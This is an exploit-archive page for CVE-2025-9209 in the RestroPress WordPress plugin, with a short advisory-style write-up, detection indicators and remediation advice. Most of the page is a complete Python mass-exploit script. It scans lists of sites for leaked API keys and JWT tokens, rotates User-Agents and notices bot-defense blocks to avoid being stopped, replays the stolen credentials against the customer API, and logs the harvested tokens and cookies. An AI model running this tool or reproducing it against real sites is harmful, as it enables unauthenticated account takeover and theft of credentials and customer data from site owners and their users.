PoC Archive PoC Archive
Critical CVE-2025-9209 unpatched

RestroPress WordPress Plugin Unauthenticated Information Exposure Leading to JWT Forgery / Account Takeover (CVE-2025-9209)

by Nxploited (Khaled Alenazi) · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-9209
Category
web
Affected product
RestroPress – Online Food Ordering System (WordPress plugin)
Affected versions
3.0.0 - 3.1.9.2
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherNxploited (Khaled Alenazi)
CVE / AdvisoryCVE-2025-9209
Categoryweb
SeverityCritical
CVSS Score9.8 (per NVD)
StatusWeaponized
Tagsrestropress, wordpress, wordpress-plugin, information-exposure, jwt, authentication-bypass, account-takeover, rest-api, mass-scanner, cwe-200, cwe-287, python
RelatedN/A

Affected Target

FieldValue
Software / SystemRestroPress – Online Food Ordering System (WordPress plugin)
Versions Affected3.0.0 - 3.1.9.2
Language / PlatformPython 3 PoC targeting a WordPress/PHP REST API backend
Authentication RequiredNo
Network Access RequiredYes

Summary

RestroPress, a WordPress food-ordering plugin, exposes user account metadata through the default wp-json/wp/v2/users REST endpoint, including private fields such as _rp_api_user_private_key, _rp_api_user_public_key, and _rp_api_user_token_key. These values are sensitive per-user API credentials/JWT material that should never be reachable by unauthenticated requests. An attacker who reads them can forge or replay valid JWT/API-key pairs and call authenticated RestroPress REST routes (e.g. /wp-json/rp/v1/customers) as any exposed user, including administrators, without ever presenting valid credentials of their own — a full authentication bypass. The PoC is a multi-threaded scanner that requests the users endpoint across a list of sites, parses the response for the leaked key/token fields, optionally verifies the recovered token+key pair against the customer API, and logs exposures, tokens, cookies, and mass-exploited sites to separate output files.


Vulnerability Details

Root Cause

The plugin stores per-user private key, public key, and token material as WordPress user meta fields, but these fields are surfaced (directly or indirectly) via the standard REST users listing without any authentication or capability check, and without being stripped from the response. The PoC detects this by pattern-matching known meta keys and value shapes in the returned user objects:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
def inspect_user_meta(user: Dict) -> List[Dict]:
    found = []
    meta = user.get("meta") or {}
    pk = meta.get("_rp_api_user_private_key")
    if isinstance(pk, str) and RE_BCRYPT.match(pk):
        found.append({... "meta_key": "_rp_api_user_private_key", "kind": "private_key"})
    pub = meta.get("_rp_api_user_public_key")
    if isinstance(pub, str) and (RE_HEX.match(pub) or len(pub) > 40):
        found.append({... "meta_key": "_rp_api_user_public_key", "kind": "public_key"})
    tok = meta.get("_rp_api_user_token_key")
    if isinstance(tok, str) and RE_JWT.match(tok):
        found.append({... "meta_key": "_rp_api_user_token_key", "kind": "token"})
    return found

Once a JWT-shaped token and its matching public key are recovered for a given user ID, they can be replayed directly as authentication material against RestroPress’s own customer API:

1
2
3
4
5
6
7
8
def verify_credentials(site, user_id, token, api_key):
    url = site.rstrip('/') + "/wp-json/rp/v1/customers"
    headers = {
        "Authorization": f"Bearer {token}",
        "X-API-Key": api_key,
        "X-User-ID": str(user_id),
    }
    r = requests.get(url, headers=headers, ...)

No proof of possession, freshness check, or additional secret is required — the leaked values alone are sufficient credentials, confirming the authentication bypass.

Attack Vector

  1. Attacker requests <site>/wp-json/wp/v2/users?per_page=100, an unauthenticated, unauthenticated-by-default WordPress REST route.
  2. The response includes each user’s meta object, which on vulnerable RestroPress versions contains _rp_api_user_private_key, _rp_api_user_public_key, and _rp_api_user_token_key.
  3. Attacker extracts the token (JWT-shaped) and public key for a target user (e.g. an administrator).
  4. Attacker replays the token/key pair as Authorization: Bearer <token> plus X-API-Key / X-User-ID headers against /wp-json/rp/v1/customers (or other authenticated RestroPress routes), impersonating that user with no prior authentication.
  5. The PoC automates steps 1-4 across a list of target sites concurrently, rotating User-Agent/header sets to reduce the chance of being blocked by bot-defense plugins, and writes exposures/tokens/cookies/exploited-site results to disk.

Impact

Full account takeover of any WordPress user exposed via the users endpoint (including administrators), without any prior authentication — enabling admin panel access, order/customer data exposure, and potentially full site compromise depending on what the impersonated account can do.


Environment / Lab Setup

Target: WordPress site running RestroPress plugin (version 3.0.0 - 3.1.9.2)
Attacker: Python 3 with `requests` and `colorama` (see requirements.txt)
Optional: `curl` binary on PATH for the curl-fallback scanning mode
Input: a text file of target site URLs (one per line)

Proof of Concept

PoC Script

See CVE-2025-9209.py in this folder.

1
2
3
4
5
6
7
8
pip install -r requirements.txt

cat > targets.txt <<EOF
https://TARGET1.example
https://TARGET2.example
EOF

python3 CVE-2025-9209.py

Detection & Indicators of Compromise

GET /wp-json/wp/v2/users?per_page=100 from a single source IP/UA, repeated
  across many distinct target hosts in a short window (mass scanning pattern)
Requests rotating between multiple distinct User-Agent strings
  (curl/7.86.0, and a spoofed Chrome UA) against the same endpoint
GET /wp-json/rp/v1/customers with an Authorization: Bearer <JWT> header
  and X-API-Key / X-User-ID headers, not preceded by a normal login flow

Signs of compromise:

  • Unusual volume of requests to /wp-json/wp/v2/users from a small set of source IPs
  • Successful /wp-json/rp/v1/customers responses for accounts that never authenticated through the normal flow
  • Presence of _rp_api_user_private_key / _rp_api_user_public_key / _rp_api_user_token_key values in any externally-served response
  • Unexpected administrator or customer account activity with no corresponding login event

Remediation

ActionDetail
Primary fixUpgrade RestroPress to a patched version beyond 3.1.9.2 once available — no official patched version identified at time of mirroring, see references
Interim mitigationStrip _rp_api_user_private_key, _rp_api_user_public_key, and _rp_api_user_token_key from any REST-exposed user meta/response; restrict /wp-json/wp/v2/users to authenticated requests or remove sensitive meta from the show_in_rest registration; rotate all existing API keys/tokens; add WAF rules and rate-limiting on the users endpoint

References


Notes

Mirrored from https://github.com/Nxploited/CVE-2025-9209 on 2026-07-06. Templated Nxploited-style branding (banner art, colorama output, Telegram contact) but the exploit logic (meta-key detection regexes, endpoint paths, credential-replay flow) is CVE-specific and genuinely functional.

CVE-2025-9209.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
#!/usr/bin/env python3

from __future__ import annotations
import requests
import urllib3
import json
import re
import threading
import time
import shutil
import subprocess
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path
from typing import Dict, List, Tuple, Optional

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
OUT_FILE        = Path("exposures.txt")
TOKENS_FILE     = Path("tokens.txt")
EXPLOITED_FILE  = Path("exploited_sites.txt")
COOKIES_FILE    = Path("cookies.txt")
DEFAULT_THREADS = 10
DEFAULT_DELAY   = 0.2
REQUEST_TIMEOUT = 14

try:
    from colorama import Fore, Style, init as color_init
    color_init(autoreset=True)
except Exception:
    class _C: pass
    Fore = _C(); Style = _C()
    Fore.GREEN = Fore.LIGHTYELLOW_EX = Fore.LIGHTBLACK_EX = Fore.YELLOW = Fore.CYAN = Fore.RED = Fore.WHITE = Fore.MAGENTA = ""
    Style.BRIGHT = Style.NORMAL = ""

DEFENDER_INDICATORS = [
    "Access denied",
    "AntiBot Unlock Me",
    "Access denied by Imunify360",
    "AntiBot Global Firewall",
    "altcha",
    "/wp-admin/admin-ajax.php?action=wp_defender",
    "imunify",
    "blocked your ip",
    "blocked your IP",
]

HEADER_VARIANTS = [
    {"User-Agent": "curl/7.86.0", "Accept": "*/*", "Connection": "keep-alive"},
    {"User-Agent": "curl/7.86.0", "Accept": "application/json, text/plain, */*", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"},
    {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "Accept": "application/json, text/plain, */*", "Accept-Language": "en-US,en;q=0.9", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"},
]

file_lock = threading.Lock()

RE_BCRYPT = re.compile(r'^\$2[ayb]\$')
RE_JWT    = re.compile(r'^eyJ[A-Za-z0-9_\-]+\.[A-Za-z0-9_\-]+\.[A-Za-z0-9_\-\.=]*')
RE_HEX    = re.compile(r'^[0-9a-fA-F]+$')

def print_banner():
    banner = r'''
                                                                                    
@@@  @@@  @@@  @@@  @@@@@@@   @@@        @@@@@@   @@@  @@@@@@@  @@@@@@@@  @@@@@@@   
@@@@ @@@  @@@  @@@  @@@@@@@@  @@@       @@@@@@@@  @@@  @@@@@@@  @@@@@@@@  @@@@@@@@  
@@!@!@@@  @@!  !@@  @@!  @@@  @@!       @@!  @@@  @@!    @@!    @@!       @@!  @@@  
!@!!@!@!  !@!  @!!  !@!  @!@  !@!       !@!  @!@  !@!    !@!    !@!       !@!  @!@  
@!@ !!@!   !@@!@!   @!@@!@!   @!!       @!@  !@!  !!@    @!!    @!!!:!    @!@  !@!  
!@!  !!!    @!!!    !!@!!!    !!!       !@!  !!!  !!!    !!!    !!!!!:    !@!  !!!  
!!:  !!!   !: :!!   !!:       !!:       !!:  !!!  !!:    !!:    !!:       !!:  !!!  
:!:  !:!  :!:  !:!  :!:        :!:      :!:  !:!  :!:    :!:    :!:       :!:  !:!  
 ::   ::   ::  :::   ::        :: ::::  ::::: ::   ::     ::     :: ::::   :::: ::  
::    :    :   ::    :        : :: : :   : :  :   :       :     : :: ::   :: :  :   
                                                                                    
'''
    print(Fore.GREEN + Style.BRIGHT + banner)
    print(Fore.GREEN + Style.BRIGHT + "Mass Exploit for CVE-2025-9209  By: Nxploited (Khaled ALenazi)".center(86))
    print(Fore.CYAN + Style.BRIGHT + "GitHub: https://github.com/Nxploited    |    Telegram: @KNxploited (contact via Telegram)".center(86))
    print(Fore.YELLOW + Style.BRIGHT + "\nAuthorized testing only. Use this tool only on data/systems you are permitted to test.\n")

def is_defender_block(text: str) -> bool:
    if not text: return False
    low = text.lower()
    for token in DEFENDER_INDICATORS:
        if token.lower() in low:
            return True
    return False

def run_curl_get(url: str, timeout: int = 15) -> Tuple[str, int]:
    cmd = ["curl", "-k", "-s", "--max-time", str(int(timeout)), "-L", url]
    try:
        p = subprocess.run(cmd, capture_output=True, text=True)
        return p.stdout or "", p.returncode
    except Exception:
        return "", 1

def normalize_site(line: str) -> str:
    s = line.strip()
    if not s:
        return ""
    if not s.startswith("http://") and not s.startswith("https://"):
        s = "https://" + s
    return s.rstrip('/')

def inspect_user_meta(user: Dict) -> List[Dict]:
    found = []
    meta = user.get("meta") or {}
    pk = meta.get("_rp_api_user_private_key")
    if isinstance(pk, str) and RE_BCRYPT.match(pk):
        found.append({"user_id": user.get("id") or user.get("ID"), "slug": user.get("slug") or user.get("name"), "meta_key": "_rp_api_user_private_key", "meta_value": pk, "kind": "private_key"})
    pub = meta.get("_rp_api_user_public_key")
    if isinstance(pub, str) and (RE_HEX.match(pub) or len(pub) > 40):
        found.append({"user_id": user.get("id") or user.get("ID"), "slug": user.get("slug") or user.get("name"), "meta_key": "_rp_api_user_public_key", "meta_value": pub, "kind": "public_key"})
    tok = meta.get("_rp_api_user_token_key")
    if isinstance(tok, str) and RE_JWT.match(tok):
        found.append({"user_id": user.get("id") or user.get("ID"), "slug": user.get("slug") or user.get("name"), "meta_key": "_rp_api_user_token_key", "meta_value": tok, "kind": "token"})
    return found

def summarize_value(val: str, keep_full: bool=False) -> str:
    if keep_full: return val
    if not val: return ""
    v = str(val)
    if len(v) <= 20:
        return v
    return v[:10] + "..." + v[-10:]

def write_exposure(site: str, user_id: str, meta_key: str, summary: str):
    with file_lock:
        try:
            if not OUT_FILE.exists():
                OUT_FILE.write_text("# timestamp | site | user_id | meta_key | summary\n", encoding="utf-8")
            ts = time.strftime("%Y-%m-%d %H:%M:%S", time.gmtime())
            with OUT_FILE.open("a", encoding="utf-8") as fh:
                fh.write(f"{ts} | {site} | {user_id} | {meta_key} | {summary}\n")
        except Exception: pass

def write_token(site: str, user_id: str, token: str):
    with file_lock:
        try:
            if not TOKENS_FILE.exists():
                TOKENS_FILE.write_text("# site | user_id | token\n", encoding="utf-8")
            with TOKENS_FILE.open("a", encoding="utf-8") as fh:
                fh.write(f"{site} | {user_id} | {token}\n")
        except Exception: pass

def write_exploited(site: str, count: int):
    with file_lock:
        try:
            if not EXPLOITED_FILE.exists():
                EXPLOITED_FILE.write_text("# site | exploited | count\n", encoding="utf-8")
            with EXPLOITED_FILE.open("a", encoding="utf-8") as fh:
                fh.write(f"{site} | exploited | {count}\n")
        except Exception: pass

def write_cookies(site, user_id, cookie, cookies_dict):
    with file_lock:
        try:
            if not COOKIES_FILE.exists():
                COOKIES_FILE.write_text("# site | user_id | cookie | cookie_dict\n", encoding="utf-8")
            with COOKIES_FILE.open("a", encoding="utf-8") as fh:
                fh.write(f"{site} | {user_id} | {cookie} | {cookies_dict}\n")
        except Exception: pass

def try_parse_json_fuzzy(text: str):
    if not text: return None
    try:
        return json.loads(text)
    except Exception: pass
    # Attempt fuzzy recovery of JSON from output
    first = None
    for i, ch in enumerate(text):
        if ch in ('{','['):
            first = i
            break
    if first is None: return None
    last = max(text.rfind('}'), text.rfind(']'))
    if last <= first: return None
    try:
        return json.loads(text[first:last+1])
    except Exception: return None

def verify_credentials(site: str, user_id: str, token: str, api_key: str) -> Tuple[bool, int, str, str, dict]:
    url = site.rstrip('/') + "/wp-json/rp/v1/customers"
    headers = {
        "Authorization": f"Bearer {token}",
        "X-API-Key": api_key,
        "X-User-ID": str(user_id),
        "Accept": "application/json",
        "User-Agent": "curl/7.86.0",
    }
    try:
        r = requests.get(url, headers=headers, timeout=REQUEST_TIMEOUT, verify=False, allow_redirects=True)
        cookie_str = r.headers.get("Set-Cookie", "")
        cookies_dict = r.cookies.get_dict()
        body = r.text or ""
        snippet = (body[:400] + "...") if len(body) > 400 else body
        return (r.status_code == 200, r.status_code, snippet, cookie_str, cookies_dict)
    except Exception as e:
        return False, -1, str(e), "", {}

def print_mass_exploit(site: str, count: int):
    box = "═" * 86
    print(Fore.GREEN + Style.BRIGHT + box)
    print(Fore.GREEN + Style.BRIGHT + f" 💚💚💚 MASS EXPLOIT SUMMARY — {site} ".center(86, "═"))
    print(Fore.GREEN + Style.BRIGHT + box)
    print(Fore.GREEN + Style.BRIGHT + f"┃ Accounts found:      {Style.BRIGHT}{count}")
    print(Fore.GREEN + Style.BRIGHT + box)
    print()

def print_success(site: str, user_id, meta_key: str, kind: str):
    box = "─" * 86
    print(Fore.GREEN + Style.BRIGHT + "[ SUCCESS ]".center(86))
    print(Fore.GREEN + Style.NORMAL + f"┃ Site:    {Style.BRIGHT}{site}")
    print(Fore.GREEN + Style.NORMAL + f"┃ User ID: {Style.BRIGHT}{user_id}")
    print(Fore.GREEN + Style.NORMAL + f"┃ Key:     {Style.BRIGHT}{meta_key}")
    print(Fore.GREEN + Style.NORMAL + f"┃ Type:    {Style.BRIGHT}{kind}")
    print(Fore.GREEN + box)
    print()

def print_token_found(site: str, user_id, token: str):
    box = "═" * 86
    print(Fore.LIGHTYELLOW_EX + Style.BRIGHT + box)
    print(Fore.LIGHTYELLOW_EX + Style.BRIGHT + "➡️ TOKEN FOUND ⬅️".center(86))
    print(Fore.LIGHTYELLOW_EX + Style.BRIGHT + box)
    print(Fore.LIGHTYELLOW_EX + f"┃ Site:    {Style.BRIGHT}{site}")
    print(Fore.LIGHTYELLOW_EX + f"┃ User ID: {Style.BRIGHT}{user_id}")
    print(Fore.LIGHTYELLOW_EX + f"┃ Token:   {Style.BRIGHT}{token[:18]}...{token[-18:]}")
    print(Fore.LIGHTYELLOW_EX + box)
    print()

def print_cookie_found(site, user_id, cookie):
    box = "═" * 86
    print(Fore.LIGHTYELLOW_EX + Style.BRIGHT + box)
    print(Fore.LIGHTYELLOW_EX + Style.BRIGHT + "🍪 COOKIE FOUND 🍪".center(86))
    print(Fore.LIGHTYELLOW_EX + Style.BRIGHT + box)
    print(Fore.LIGHTYELLOW_EX + f"┃ Site:    {Style.BRIGHT}{site}")
    print(Fore.LIGHTYELLOW_EX + f"┃ User ID: {Style.BRIGHT}{user_id}")
    print(Fore.LIGHTYELLOW_EX + f"┃ Cookie:  {Style.BRIGHT}{cookie}")
    print(Fore.LIGHTYELLOW_EX + box)
    print()

def print_failed(site, status=None, ctype=None, snippet=""):
    box = "░" * 86
    print(Fore.LIGHTBLACK_EX + Style.BRIGHT + "[ FAILED ]".center(86))
    print(Fore.LIGHTBLACK_EX + Style.NORMAL + f"┃ Site:    {Style.BRIGHT}{site}")
    if status is not None:
        print(Fore.LIGHTBLACK_EX + f"┃ Status:  {Style.BRIGHT}{status}")
    if ctype is not None:
        print(Fore.LIGHTBLACK_EX + f"┃ Type:    {Style.BRIGHT}{ctype}")
    if snippet:
        print(Fore.LIGHTBLACK_EX + f"┃ Detail:  {Style.NORMAL}{snippet[:80]}...")
    print(Fore.LIGHTBLACK_EX + Style.BRIGHT + box)
    print()

def print_blocked(site):
    box = "▒" * 86
    print(Fore.YELLOW + Style.BRIGHT + box)
    print(Fore.YELLOW + Style.BRIGHT + "[ BLOCKED ]".center(86))
    print(Fore.YELLOW + Style.BRIGHT + box)
    print(Fore.YELLOW + Style.BRIGHT + f"┃ Site:   {site}")
    print(Fore.YELLOW + Style.BRIGHT + f"┃ Status: Protected by Defender/Imunify360")
    print(Fore.YELLOW + Style.BRIGHT + box)
    print()

def scan_site(site: str, verify: bool=False, curl_fallback: bool=False) -> dict:
    api_users = site.rstrip('/') + "/wp-json/wp/v2/users?per_page=100"
    last_text = ""
    status = None
    ctype = None
    found_tokens = []
    exposures = []
    for idx, hdrs in enumerate(HEADER_VARIANTS, start=1):
        try:
            s = requests.Session()
            s.headers.update(hdrs)
            r = s.get(api_users, timeout=REQUEST_TIMEOUT, verify=False, allow_redirects=True)
            status = getattr(r, "status_code", None)
            ctype = r.headers.get("Content-Type", "") if r is not None else ""
            last_text = r.text or ""
        except Exception:
            last_text = ""
            r = None
            status = None
            ctype = None
        if is_defender_block(last_text):
            print_blocked(site)
            return {"site": site, "status": status, "content_type": ctype, "exposures": [], "blocked": True}
        parsed = try_parse_json_fuzzy(last_text)
        if isinstance(parsed, list):
            for user in parsed:
                found = inspect_user_meta(user)
                if found:
                    for f in found:
                        exposures.append(f)
        elif isinstance(parsed, dict):
            found = inspect_user_meta(parsed)
            if found:
                for f in found:
                    exposures.append(f)
        if exposures:
            if len(exposures) > 1:
                print_mass_exploit(site, len(exposures))
                write_exploited(site, len(exposures))
            for e in exposures:
                user_id = e.get("user_id")
                meta_key = e.get("meta_key")
                val = e.get("meta_value")
                kind = e.get("kind")
                summary = summarize_value(val, keep_full=False)
                if kind == "token":
                    print_token_found(site, user_id, val)
                    write_token(site, str(user_id), val)
                    found_tokens.append((site, user_id, val))
                    if verify:
                        pub = None
                        for x in exposures:
                            if x.get("kind") == "public_key" and (x.get("user_id") == user_id):
                                pub = x.get("meta_value")
                                break
                        if pub:
                            ok, sc, snippet, cookie_str, cookies_dict = verify_credentials(site, user_id, val, pub)
                            if cookie_str or cookies_dict:
                                print_cookie_found(site, user_id, cookie_str if cookie_str else str(cookies_dict))
                                write_cookies(site, str(user_id), cookie_str, cookies_dict)
                print_success(site, user_id, meta_key, kind)
                write_exposure(site, str(user_id), meta_key, summary)
            return {"site": site, "status": status, "content_type": ctype, "exposures": exposures, "blocked": False, "tokens": found_tokens}
        time.sleep(0.12)
    if curl_fallback:
        curl_path = shutil.which("curl")
        if curl_path:
            curl_out, rc = run_curl_get(api_users, timeout=REQUEST_TIMEOUT)
            if curl_out:
                if is_defender_block(curl_out):
                    print_blocked(site)
                    return {"site": site, "status": None, "content_type": None, "exposures": [], "blocked": True}
                parsed2 = try_parse_json_fuzzy(curl_out)
                exposures = []
                found_tokens = []
                if isinstance(parsed2, list):
                    for user in parsed2:
                        found = inspect_user_meta(user)
                        if found:
                            exposures.extend(found)
                elif isinstance(parsed2, dict):
                    found = inspect_user_meta(parsed2)
                    if found:
                        exposures.extend(found)
                if exposures:
                    if len(exposures) > 1:
                        print_mass_exploit(site, len(exposures))
                        write_exploited(site, len(exposures))
                    for e in exposures:
                        user_id = e.get("user_id")
                        meta_key = e.get("meta_key")
                        val = e.get("meta_value")
                        kind = e.get("kind")
                        summary = summarize_value(val, keep_full=False)
                        if kind == "token":
                            print_token_found(site, user_id, val)
                            write_token(site, str(user_id), val)
                            found_tokens.append((site, user_id, val))
                            if verify:
                                pub = None
                                for x in exposures:
                                    if x.get("kind") == "public_key" and (x.get("user_id") == user_id):
                                        pub = x.get("meta_value")
                                        break
                                if pub:
                                    ok, sc, snippet, cookie_str, cookies_dict = verify_credentials(site, user_id, val, pub)
                                    if cookie_str or cookies_dict:
                                        print_cookie_found(site, user_id, cookie_str if cookie_str else str(cookies_dict))
                                        write_cookies(site, str(user_id), cookie_str, cookies_dict)
                        print_success(site, user_id, meta_key, kind)
                        write_exposure(site, str(user_id), meta_key, summary)
                    return {"site": site, "status": None, "content_type": None, "exposures": exposures, "blocked": False, "tokens": found_tokens}
    print_failed(site, status, ctype, last_text)
    return {"site": site, "status": status, "content_type": ctype, "exposures": [], "blocked": False, "tokens": []}

def main():
    print_banner()
    sites_file = input("Enter sites filename (one per line): ").strip()
    if not sites_file:
        print(Fore.RED + "No file provided. Exiting.")
        return
    p = Path(sites_file)
    if not p.exists():
        print(Fore.RED + f"File not found: {sites_file}")
        return
    try:
        threads = int(input(f"Thread concurrency (default {DEFAULT_THREADS}): ").strip() or DEFAULT_THREADS)
    except Exception:
        threads = DEFAULT_THREADS
    verify_choice = input("Verify discovered token+api_key by calling /wp-json/rp/v1/customers? (y/N): ").strip().lower()
    verify = (verify_choice == "y")
    curl_choice = input("Use curl fallback if requests fails? (y/N): ").strip().lower()
    curl_fallback = (curl_choice == "y")
    try:
        polite_delay = float(input(f"Polite delay between requests per-thread (seconds, default {DEFAULT_DELAY}): ").strip() or DEFAULT_DELAY)
    except Exception:
        polite_delay = DEFAULT_DELAY
    sites = []
    with open(sites_file, "r", encoding="utf-8") as fh:
        for line in fh:
            s = normalize_site(line)
            if s:
                sites.append(s)
    total = len(sites)
    print(Fore.CYAN + f"\nScanning {total} sites with {threads} threads (verify={verify} curl_fallback={curl_fallback})\n")

    start = time.time()
    def worker(site: str):
        scan_site(site, verify=verify, curl_fallback=curl_fallback)
        time.sleep(polite_delay)
    with ThreadPoolExecutor(max_workers=threads) as exe:
        futures = [exe.submit(worker, s) for s in sites]
        try:
            for _ in as_completed(futures):
                pass
        except KeyboardInterrupt:
            print(Fore.RED + "\nInterrupted by user. Shutting down.")
            exe.shutdown(wait=False)
    elapsed = time.time() - start
    print(Fore.GREEN + f"\n[Done] in {elapsed:.1f} seconds.")
    print(Fore.GREEN + f"\n[exposures.txt] : exposures per account/credential")
    print(Fore.LIGHTYELLOW_EX + f"[tokens.txt] : All tokens found in scan")
    print(Fore.LIGHTYELLOW_EX + f"[cookies.txt] : All cookies found in scan")
    print(Fore.GREEN + f"[exploited_sites.txt] : Mass exploited sites")

if __name__ == "__main__":
    main()